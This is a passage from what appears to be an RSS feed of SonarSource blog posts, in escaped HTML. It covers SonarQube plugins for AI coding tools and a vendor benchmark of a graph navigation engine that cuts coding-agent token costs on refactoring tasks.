GitHub.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Read the launch post:&lt;/strong&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/sonarqube-agent-app-in-github/&quot;&gt; SonarQube Agent App in GitHub&lt;/a&gt; | &lt;strong&gt;Get started:&lt;/strong&gt;&lt;a href=&quot;https://www.sonarsource.com/resources/library/set-up-the-sonarqube-agent-app-for-github/&quot;&gt; Set up the SonarQube Agent App for GitHub&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;OpenAI Codex CLI&lt;/h3&gt;&lt;p&gt;The SonarQube plugin for Codex brings verification directly into Codex CLI, so AI-assisted coding tasks are checked within the agentic loop against SonarQube standards as a part of generation, not after the fact. &lt;/p&gt;&lt;p&gt;&lt;strong&gt;Read the launch post:&lt;/strong&gt; &lt;a href=&quot;https://www.sonarsource.com/blog/now-available-sonarqube-plugin-for-codex/&quot;&gt;SonarQube plugin for Codex&lt;/a&gt; | &lt;strong&gt;Get started:&lt;/strong&gt; &lt;a href=&quot;https://www.sonarsource.com/resources/library/set-up-the-sonarqube-plugin-for-codex/&quot;&gt;Set up the SonarQube plugin for Codex&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;Cursor&lt;/h3&gt;&lt;p&gt;SonarQube connects directly to the Cursor IDE, letting its agent communicate with &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/server/&quot;&gt;SonarQube Server&lt;/a&gt; and &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/cloud/&quot;&gt;Cloud&lt;/a&gt;. Cursor-generated code is checked against your SonarQube standards as it is written, bringing independent verification into the agentic loop.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Read the launch post:&lt;/strong&gt; &lt;a href=&quot;https://www.sonarsource.com/blog/now-available-sonarqube-plugin-for-cursor/&quot;&gt;SonarQube plugin for Cursor&lt;/a&gt; | &lt;strong&gt;Get started:&lt;/strong&gt; &lt;a href=&quot;https://www.sonarsource.com/resources/library/set-up-the-sonarqube-plugin-for-cursor/&quot;&gt;Set up the SonarQube plugin for Cursor&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;Antigravity CLI&lt;/h3&gt;&lt;p&gt;The SonarQube plugin for Antigravity brings independent, algorithmic verification into the Antigravity agent session through dedicated &lt;code&gt;/sonarqube:*&lt;/code&gt; skills and the SonarQube MCP Server, surfacing open issues, quality gate status, code coverage, dependency risks, and secrets scanning without leaving the session where code is being written. The SonarQube CLI powers the integration, wiring authentication, hooks, and rules into the project in a single command.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Read the launch post:&lt;/strong&gt; &lt;a href=&quot;https://www.sonarsource.com/blog/now-available-sonarqube-plugin-for-antigravity/&quot;&gt;SonarQube plugin for Antigravity&lt;/a&gt; | &lt;strong&gt;Get started:&lt;/strong&gt; &lt;a href=&quot;https://www.sonarsource.com/resources/library/set-up-the-sonarqube-plugin-for-antigravity/&quot;&gt;Set up the SonarQube plugin for Antigravity&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;How Sonar powers the plugins&lt;/h2&gt;&lt;p&gt;These plugins are built on a common Sonar foundation that brings verification directly into the agentic and CI loops: the SonarQube MCP Server, the SonarQube CLI, and &lt;a href=&quot;https://www.sonarsource.com/products/sonar-vortex/&quot;&gt;Sonar Vortex&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;SonarQube MCP Server&lt;/h3&gt;&lt;p&gt;The SonarQube MCP Server is how AI agents access SonarQube as a native toolset. Through the MCP Server, agents can analyze code snippets, retrieve issues, check &lt;a href=&quot;https://www.sonarsource.com/resources/library/quality-gate/&quot;&gt;quality gate status&lt;/a&gt;, inspect security hotspots, measure coverage, find duplications, and check dependencies for vulnerabilities, all from natural-language prompts without leaving the editor. It works with SonarQube Cloud through a zero-install native endpoint and with SonarQube Server through a self-hosted Docker deployment.&lt;/p&gt;&lt;h3&gt;SonarQube CLI&lt;/h3&gt;&lt;p&gt;The fastest path from zero to verified. With a lightweight setup, teams get &lt;a href=&quot;https://www.sonarsource.com/solutions/secrets-detection/&quot;&gt;secrets scanning&lt;/a&gt; before content reaches an LLM, and on-demand code analysis via agentic loop verification. Every developer on the team gets one configuration and one quality bar, with the same protections for everyone, regardless of which AI coding tool they use. No manual setup, no per-tool configuration drift. &lt;/p&gt;&lt;h3&gt;Sonar Vortex&lt;/h3&gt;&lt;p&gt;Sonar Vortex is the core capability that brings Guide and Verify together inside the agentic loop. Sonar Vortex gives AI coding agents the right project-specific context and constraints before they write any code, then verifies what they generate in real time against SonarQube’s standards. That means agents are not working from generic prompts alone. They are guided by your architecture, coding conventions, and quality constraints from the start, and then comprehensively verified, providing immediate feedback to your agents so they can fix any issues before they can compound. The result is faster iteration, better first-pass output, and trusted verification inside the workflow where code is actually written.&lt;/p&gt;&lt;h2&gt;What these plugins mean for your team&lt;/h2&gt;&lt;p&gt;One standard, consistently applied everywhere, changes how confidently you can adopt AI. Verification stops being a downstream gate you hope holds and becomes a constant presence inside the tools where code is actually written.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Catch issues where code is generated.&lt;/strong&gt; Real-time, pre-PR verification fixes routine mistakes during generation, so fewer problems reach review and your PR review process can focus on architecture and logic.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Apply one verification standard across every tool.&lt;/strong&gt; One SonarQube instance, one set of rules, one quality gate from sandbox to merge, no matter how many agents your developers run.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Scale AI adoption without scaling risk.&lt;/strong&gt; Developers who verify their code with SonarQube are 44 percent less likely to report outages due to AI-generated code. &lt;em&gt;(Source:&lt;a href=&quot;https://www.sonarsource.com/resources/library/&quot;&gt; 2026 Sonar State of Code Developer Survey&lt;/a&gt;, n=1,149)&lt;/em&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Bring trusted verification into your AI coding tools&lt;/h2&gt;&lt;p&gt;AI velocity without verification is just technical debt on a faster timeline. &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;SonarQube&lt;/a&gt; closes the gap between how fast agents generate code and how fast teams can verify it, meeting developers in every tool they use from the first prompt to the final merge.&lt;/p&gt;&lt;p&gt;Ready to begin? Use these blueprints to get started with SonarQube integrations for your AI coding tool, and bring consistent verification to every agentic workflow on your team.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;All blueprints and get-started guides&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Cut your coding agent's cost with Sonar Vortex]]></title><description><![CDATA[New benchmarks show semantic code graphs helping coding agents find change locations faster and complete updates more efficiently.]]></description><link>https://www.sonarsource.com/blog/cut-your-coding-agents-cost-with-sonar-semantic-code-navigation/</link><guid isPermaLink="false">en:3fb5ae04-6b6b-44f6-bce0-a21e65fd05e3</guid><dc:creator><![CDATA[Abbas Sabra]]></dc:creator><pubDate>Tue, 30 Jun 2026 13:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We recently released a new navigation engine as part of Sonar Vortex, the unified product that combines &lt;a href=&quot;https://www.sonarsource.com/products/context-augmentation/&quot;&gt;Sonar Context Augmentation&lt;/a&gt; and &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/agentic-analysis/&quot;&gt;SonarQube Agentic Analysis&lt;/a&gt; that were previously in beta. Access to these capabilities is through the &lt;a href=&quot;https://www.sonarsource.com/sonarqube/cli/&quot;&gt;SonarQube CLI&lt;/a&gt; and &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/mcp-server/&quot;&gt;SonarQube MCP Server&lt;/a&gt;. The graph navigation engine keeps a live, always-current map of the code across &lt;a href=&quot;https://www.sonarsource.com/knowledge/languages/java/&quot;&gt;Java&lt;/a&gt;, &lt;a href=&quot;https://www.sonarsource.com/knowledge/languages/python/&quot;&gt;Python&lt;/a&gt;, &lt;a href=&quot;https://www.sonarsource.com/knowledge/languages/js/&quot;&gt;JavaScript&lt;/a&gt; and &lt;a href=&quot;https://www.sonarsource.com/knowledge/languages/ts/&quot;&gt;TypeScript&lt;/a&gt;, &lt;a href=&quot;https://www.sonarsource.com/knowledge/languages/csharp/&quot;&gt;C#&lt;/a&gt;, and &lt;a href=&quot;https://www.sonarsource.com/knowledge/languages/rust/&quot;&gt;Rust&lt;/a&gt;. Instead of hunting through the code file by file with text-search tools like grep, the agent asks direct questions to the map about how the code fits together. A text search matches characters in files. The engine understands the structure of your code and answers questions about it directly: what implements this interface, what calls this method, what is the type hierarchy of this class, and what references this symbol. The agent does not just locate the code, it navigates and understands the relationships within it.&lt;/p&gt;&lt;p&gt;The engine delivers two things:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Lower AI usage cost: The agent stops doing tool-call read storms, because a single structural query returns the complete set of places to change instead of forcing the agent to grep, read, and reconstruct that set by hand.&lt;/li&gt;&lt;li&gt;A more complete solution: The same exhaustive enumeration makes the agent less likely to miss a location that must change, including the locations a text search never surfaces. &lt;/li&gt;&lt;/ol&gt;&lt;p&gt;This article measures the first, usage cost, in detail, and explains the second, complete solution, along the way.&lt;/p&gt;&lt;p&gt;In short, our research found six usage cost wins across Java, Python, TypeScript, and C#, with up to 36% reduced token consumption and cost per run, on a specific and recognizable shape of refactoring work. The navigation engine will not help on tasks where navigation is not the constraint. If the agent is already working from sufficient context, or the task does not require traversing code structure, the engine has nothing to accelerate. We measured specific refactoring work tasks where the usage cost stayed within a few percent of the baseline. This article explains what the engine does, how we measured it, and where it wins when compared to not using Sonar Context Augmentation.&lt;/p&gt;&lt;h2&gt;How coding agents navigate code today&lt;/h2&gt;&lt;p&gt;When a software developer gives a coding agent a task, they describe what it should do, but do not include the file and line of where every change should be made. That is the normal way to work, and it means the agent arrives without a map. Discovering where the code has to change is its job, not the prompt&amp;#x27;s. So it builds that map by hand: grep a name, read the files that come back, infer the relationships, grep the next name, read more, and repeat until it believes it has the full picture. Grep, find, and read are the only tools it has, and none of these tools understand the code, so the agent has to assemble that understanding itself, one file at a time.&lt;/p&gt;&lt;p&gt;Every file the agent reads to build that map stays resident in the conversation context for the rest of the run, because the agent keeps file contents around to reason over and to edit. This is important because: agent usage cost is roughly the number of turns multiplied by the resident context carried on each turn. Everything that makes a run expensive reduces to either more turns or more context carried every turn.&lt;/p&gt;&lt;p&gt;The consequence is that token usage cost is compounded by two factors from a tool-call read storm. It adds turns: each grep, each read, each inference is a turn. Plus it raises the resident-context floor for the rest of the run. Every file opened stays in context and is re-read on every subsequent turn. A structural question that the agent can only approximate by matching names and then reading to sort signal from noise is exactly the kind of question that produces this compounded cost.&lt;/p&gt;&lt;h2&gt;Where grep and find fall short in code navigation&lt;/h2&gt;&lt;p&gt;It is worth being fair to grep first, because in the right use cases, it is often the right tool. For text search it is fast, it needs no index, and it works on any repository in any language the instant the agent arrives. When a name produces roughly as many hits as there are real sites to change (a noise ratio near one to one), grep lands directly on the answer and there is nothing to improve. A large number of sites to change does not by itself create a problem. What creates a problem is when text search cannot cheaply enumerate the set.&lt;/p&gt;&lt;p&gt;Where grep falls short is that it matches only characters, not coding relationships. It cannot answer a structural question. It can only approximate it by name.&lt;/p&gt;&lt;p&gt;Grep breaks down in three distinct ways:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;The noise flood: The name you search for really does appear at every place in the code you need to change, but it also appears at many places you do not, so the matches are mostly chaff. The agent cannot immediately tell which hits are the correct ones from the text of the match alone. It opens and reads file after file to separate the real sites from the rest, and every file it opens stays in context for the rest of the run. The cost is not in the search itself, it is in reading and retaining the files the search forces. We measured exactly this on one task. A grep on the relevant type name returned about 461 hits against only 16 real edit sites, a noise ratio of roughly 29 to 1.&lt;/li&gt;&lt;li&gt;The invisible site: Here the location in the code that must change shares no text with the thing the agent searched for, so the search never surfaces the correct location at all. This happens whenever the connection between two pieces of code is structural rather than textual. A class can implement an interface without ever naming it on the lines that need editing. A method can be called indirectly, through a layer that hides the name, so the call site reads nothing like the method. In all of these cases the relationship is real and the text is invisible. So a grep-driven agent either misses the site or has to reconstruct the relationship by reading, which puts it right back in the noise flood. An engine that understands the structure returns these sites directly without having to reconstruct the relationship.&lt;/li&gt;&lt;li&gt;The false match: Here the text matches, but it points at the wrong thing, because the same name can mean different things in different places and a text search has no way to tell them apart. Two methods can share a name through overloading while taking different arguments, so only one of them is the one you mean. A local variable can shadow a field, or the same identifier can name unrelated symbols in different classes, namespaces, or scopes. The agent gets a list of hits that all look alike and cannot tell from the text which ones are the symbol it cares about, so it either edits the wrong site, which is a bug, or reads each candidate to rule it out, which puts it right back in the noise flood. Telling these apart is a question about identity, not characters, and it is what a structural engine answers directly: it returns the references to the one symbol you mean and leaves its namesakes alone.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;The invisible site is not only a usage cost problem, it is a correctness problem, and that is where the second benefit of the engine comes in. In a rename with no backward-compatible aliases, a missed site simply fails to compile, which is loud and caught by a build gate. But in a signature or behavior change reached indirectly, a missed location often still compiles and then misbehaves at runtime. The test suite may not exercise that path, so it ships as a silent bug. An exhaustive structural enumeration is the difference between catching that location and shipping the bug. This is the completeness benefit, and it is why an engine that understands relationships is worth more than a quick grep.&lt;/p&gt;&lt;h2&gt;How our graph navigation engine solves the grep problem&lt;/h2&gt;&lt;p&gt;The engine maintains a single in-memory graph of the code that spans every supported programming language and updates as you edit. Nodes are the things in your code: modules, classes, interfaces, enums, records and structs, methods and functions, fields, parameters, and annotations. Edges are the relationships between them: this method calls that one, this class implements that interface, this type extends that one, this symbol references that one. Every node and every edge carries its file path and line location, which is what lets a query hand back exact edit locations rather than names to go look up.&lt;/p&gt;&lt;h3&gt;How the graph is built&lt;/h3&gt;&lt;p&gt;The graph is built without a compiler, a linter, a language server, or a network call. The engine reads each source file directly and links references across files into a project-wide call graph, which is what lets it work on code that does not yet compile. The cross-file linking is shared across programming languages and only the per-file reading is language-specific, so the engine answers the same structural queries across every language it supports.&lt;/p&gt;&lt;h3&gt;Built for the agent&amp;#x27;s inner loop&lt;/h3&gt;&lt;p&gt;What matters in the agent&amp;#x27;s inner loop, where the code is often mid-edit and is not being compiled, is speed and availability. Full graph generation for about 1,000 source files takes a few seconds and runs once at startup. It runs again to refresh the graph in about a millisecond after each code edit, fast enough that the agent never waits on it. That work is a local computation running in-process next to the agent, not billed model turns. So it does not enter the model-usage cost this article measures and does not consume tokens. Because it does not depend on a compiler, it parses any syntactically plausible file, so the graph is available throughout code generation, not only when the code compiles. It runs locally, with no compilation step, no language server, and no network call. The engine re-scans changed files on demand to always stay current.&lt;/p&gt;&lt;p&gt;A small trade-off of type-resolution precision is given up against a compiler or a language server in exchange for availability and freshness, which are the properties that matter most when the agent is mid-edit. It identifies the symbols in the code very accurately. However, it is less precise about every edge between them, because it approximates call targets from the calling code rather than fully resolving types the way a compiler would. In practice that means it is excellent at enumerating the members of a hierarchy or the declarations of a symbol. Additionally, it is good but not perfect at tracing every call edge, which is exactly the balance the agent&amp;#x27;s inner loop needs.&lt;/p&gt;&lt;h3&gt;What structural queries can AI agents run with graph navigation?&lt;/h3&gt;&lt;p&gt;The engine exposes a small set of structural queries. Each resolves relationships by symbol identity rather than by text, and returns exact file and line locations:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;code&gt;search-signatures&lt;/code&gt;: find where symbols are declared, matched by name or signature pattern, so the result is the set of declarations rather than every textual mention of the name.&lt;/li&gt;&lt;li&gt;&lt;code&gt;search-bodies&lt;/code&gt;: find where a symbol is actually used inside method and function bodies, separating real usage sites from declarations, comments, and strings.&lt;/li&gt;&lt;li&gt;&lt;code&gt;get-source&lt;/code&gt;: retrieve the resolved source of a symbol by its fully qualified name, so the agent reads the exact definition it means and not a same-named lookalike.&lt;/li&gt;&lt;li&gt;&lt;code&gt;trace-callers&lt;/code&gt;: walk the call graph inward from a symbol, directly and transitively up the chain, to find what reaches it, including callers that share no text with it.&lt;/li&gt;&lt;li&gt;&lt;code&gt;trace-callees&lt;/code&gt;: walk the call graph outward, to whatever depth a task needs, to find what a symbol calls.&lt;/li&gt;&lt;li&gt;&lt;code&gt;get-type-hierarchy&lt;/code&gt;: resolve the full type tree of a class or interface, its supertypes, subtypes, and every implementor, transitively, including the anonymous, nested, and test types whose declaration never names it.&lt;/li&gt;&lt;li&gt;&lt;code&gt;get-references&lt;/code&gt;: enumerate every site that references one specific symbol, with exact line anchors, resolved to that symbol so its overloads and namesakes are not mixed in.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The engine can also return edit targets directly: a deduplicated list of &lt;code&gt;{file_path, line}&lt;/code&gt; rows, one per affected source line. This is what decides whether the engine saves usage cost or adds it. A query that returns the right symbols but not their locations still forces the agent to grep again to find the edit points, stacking the query on top of the search instead of replacing it. Handing back the locations is what lets the agent stop re-grepping, the difference between the engine being substitutive (a cost win) and additive (a cost loss).&lt;/p&gt;&lt;h2&gt;The study: methodology and integrity&lt;/h2&gt;&lt;p&gt;The method compares two run groups on real software work: baseline runs (plain coding agent) and navigation runs (the same agent plus the graph navigation engine).&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Take a real merged commit from a popular open-source project as the ground truth and the runnable oracle.&lt;/li&gt;&lt;li&gt;Build a prompt that describes the task by what it should do, with no file names, no symbols, and no line numbers, the way a developer actually asks. If the prompt names the files, it hands the agent the answer and measures prompt quality, not the agent&amp;#x27;s ability to navigate the code and do the work.&lt;/li&gt;&lt;li&gt;Check out the parent of the commit (the before state) into a clean workspace.&lt;/li&gt;&lt;li&gt;Reimplement the change twice, once baseline and once with navigation, holding the model, the effort, and the environment identical.&lt;/li&gt;&lt;li&gt;Gate on build and tests: a run counts only if it compiles and the targeted tests pass, because cost is comparable only when correctness is held equal.&lt;/li&gt;&lt;li&gt;Run ten times per side on Opus 4.8 at high effort with subagents on, and lead with the median.&lt;/li&gt;&lt;li&gt;Use a model-as-a-judge pass to attribute each cost swing to the engine, an eval bug, or run-to-run inconsistency, and run a cheat audit on every transcript.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;We deliberately ran on Opus 4.8, for two reasons. First, to show the value survives Opus, one of the strongest available models according to &lt;a href=&quot;https://www.sonarsource.com/the-coding-personalities-of-leading-llms/leaderboard/&quot;&gt;our leaderboard&lt;/a&gt;, so the result is not a crutch for a weak one. Second, to reduce noise: a smarter model wanders into fewer tangents, so its runs are less variable and a signal is easier to see. The trade-off is that the strongest model is the most expensive, so it is the model on which you can least afford a high repetition count.&lt;/p&gt;&lt;p&gt;The goal of a stable signal is why n equals 10. A single run is too noisy to trust: the SQLAlchemy task read as plus 92 percent (mean of two runs) at n equals 2 and resolved to a minus 20 percent mean (minus 29 percent median) at n equals 10. Ten runs per side is the minimum that pulls a stable signal out of that run-to-run noise. It is enough to establish the direction of the effect, not a precise per-task mean, which is why we lead with the median rather than the mean. Nothing here rests on a small sample.&lt;/p&gt;&lt;p&gt;On integrity: every run was cheat-audited, with git history stripped from each workspace, the network blocked at the host level, and the agent&amp;#x27;s own web-fetch and web-search tools disabled symmetrically on both sides, so the answer could not be recovered out of band. Correctness was held equal across both groups. These are controlled benchmark numbers from a hardened harness, not what a single casual local run looks like. A one-off comparison without the same measurement discipline is dominated by noise.&lt;/p&gt;&lt;h2&gt;The result: six agent usage costs wins across four programming languages&lt;/h2&gt;&lt;p&gt;The chart includes the mean and median deltas. A negative delta means the navigation runs were cheaper. Dollars are model usage per run at Opus 4.8 prices at the time of measurement.&lt;/p&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;Experiment&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;Repo&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;Lang&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;Commit&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;Baseline mean / median&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;Navigation mean / median&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;Mean delta&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;Median delta&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;BloomFilter self-typing&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;apache/commons-collections&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Java&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;code&gt;5479a7d7&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;$14.20 / $14.29&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;$9.07 / $9.38&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;-36%&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;-34%&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;BloomFilter package rename&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;apache/commons-collections&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Java&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;code&gt;4a2aa76d&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;$1.91 / $1.86&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;$1.52 / $1.40&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;-20%&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;-25%&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;SQLAlchemy compiler kwargs&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;sqlalchemy/sqlalchemy&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Python&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;code&gt;f8fd9ce2&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;$2.03 / $1.71&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;$1.62 / $1.22&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;-20%&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;-29%&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;TanStack mutation context&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;TanStack/query&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;TS&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;code&gt;a2151d28&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;$9.58 / $9.45&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;$9.09 / $8.89&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;-5%&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;-6%&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;AssertJ arg-order reorder&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;assertj/assertj&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Java&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;code&gt;69c8410b&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;$5.38 / $5.61&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;$5.15 / $4.78&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;-4%&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;-15%&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;QuartzNET return types&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;quartznet/quartznet&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;C#&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;code&gt;d569f8d5&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;$11.10 / $10.20&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;$11.71 / $8.11&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;+5% (median-only win)&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;-20%&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;The last two rows carry a nuance. AssertJ is a clear win on the typical run (median minus 15 percent) while its average is flat, because a multi-module Maven build dominates the cost. QuartzNET&amp;#x27;s plus 5 percent average is inflated by three heavy edit-and-build-variance runs. Its typical run is minus 20 percent, which is the fair read.&lt;/p&gt;&lt;p&gt;The dollar savings come from the model doing less work, not from a pricing trick. Prompt caching discounts the context an agent re-reads, but how much you benefit from that discount depends on timing and varies from one user to the next, so the clearest view sets caching aside and counts every token at face value. Counted that way, the navigation runs read fewer input tokens and generate fewer output tokens on every task:&lt;/p&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;Experiment&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;Input tokens (base -&amp;gt; nav)&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;Input delta&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;Output tokens (base -&amp;gt; nav)&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;Output delta&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;BloomFilter self-typing&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;18.8M -&amp;gt; 12.9M&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;-31%&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;89k -&amp;gt; 78k&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;-12%&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;BloomFilter package rename&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;1.4M -&amp;gt; 1.3M&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;-11%&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;31k -&amp;gt; 21k&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;-32%&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;SQLAlchemy compiler kwargs&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;1.2M -&amp;gt; 891k&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;-24%&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;29k -&amp;gt; 19k&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;-35%&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;TanStack mutation context&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;13.4M -&amp;gt; 10.6M&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;-21%&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;74k -&amp;gt; 72k&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;-4%&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;AssertJ arg-order reorder&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;5.1M -&amp;gt; 4.2M&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;-18%&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;69k -&amp;gt; 59k&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;-15%&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;QuartzNET return types&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;13.3M -&amp;gt; 10.0M&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;-25%&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;85k -&amp;gt; 80k&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;-6%&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;Input is mostly the resident context the model re-reads on every turn. The 